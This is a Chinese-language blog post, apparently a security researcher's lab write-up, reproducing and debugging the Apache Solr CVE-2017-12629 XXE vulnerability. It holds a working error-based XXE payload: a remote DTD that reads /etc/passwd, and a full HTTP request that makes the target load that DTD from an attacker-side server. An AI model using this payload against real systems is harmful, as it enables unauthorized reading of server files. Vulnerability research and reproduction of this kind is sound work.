Apache Solr - XXE&RCE

Apache Solr - XXE & RCE (1)

0x01 前言

网络上有很多师傅已经做过分析和复现,我写这篇文章的目的主要是为了两点:

  • 从我本人的视角去更详细地去分析这个漏洞
  • 写一个公式化工具插件,具体的框架我还没想好,但我会从这篇文章的这个漏洞开始编写我的漏洞利用代码(有点类似于bugscan那种插件形式),主要分为检测+利用

0x02 Solr源码安装

如果只是为了复现,直接使用官网提供的编译好的二进制文件即可,这里使用solr源码安装的方式,方便后面进行下断点和代码分析。
官网源码地址:

https://archive.apache.org/dist/lucene/solr/7.0.1/

该源码需要使用ant安装,其中会有链接失效的情况导致build失败,请检查链接,比如http需要改成https,或者某些库有问题,需要替换链接。

0x02 调试

访问

http://127.0.0.1:8983/


根据下边的链接可知

https://paper.seebug.org/425/

问题出现的代码片段位于

/solr/src/lucene/queryparser/src/java/org/apache/lucene/queryparser/xml/CoreParser.java

在解析xml时,使用parseXML方法进行解析

而parseXML中则使用DocumentBuilder类,该类的parse方法可以直接解析xml
添加一个collection(这里之前已经添加过所以直接使用test)

0x03 漏洞复现

根据vulhub的poc

https://github.com/vulhub/vulhub/tree/master/solr/CVE-2017-12629-XXE

该poc直接使用的基于报错的XXE payload,原因是该接口本身出现了报错,因此可以利用这个特性进行报错输出我们想要的信息,具体payload可以参考这个

https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html

(1)远程服务器保存以下内容至test.dtd

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

(2)在该文件的目录下开启一个web接口,供远程读取test.dtd文件

(3)使用burp请求该数据包

GET /solr/test/select?q=<%3fxml+version%3d"1.0"+%3f><!DOCTYPE+message+[<!ENTITY+%25+ext+SYSTEM+"http%3a//127.0.0.1%3a8088/test.dtd">+%25ext%3b]><message></message>&wt=xml&defType=xmlparser HTTP/1.1
Host: 192.168.52.129:8983
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

攻击成功

0x03
下断点,往上层追溯

该parseXML由parse方法进行调用

XmlQparser方法进行调用

分析不动。。。再往上层分析就是架构方面的问题了,暂时还没把流程架构读熟悉,这一块先留着,目前只知道漏洞点所在的情况,至于是哪些点触发最后到关键点的还得等以后熟悉再分析一次。

猜你喜欢

转载自www.cnblogs.com/0x28/p/12585472.html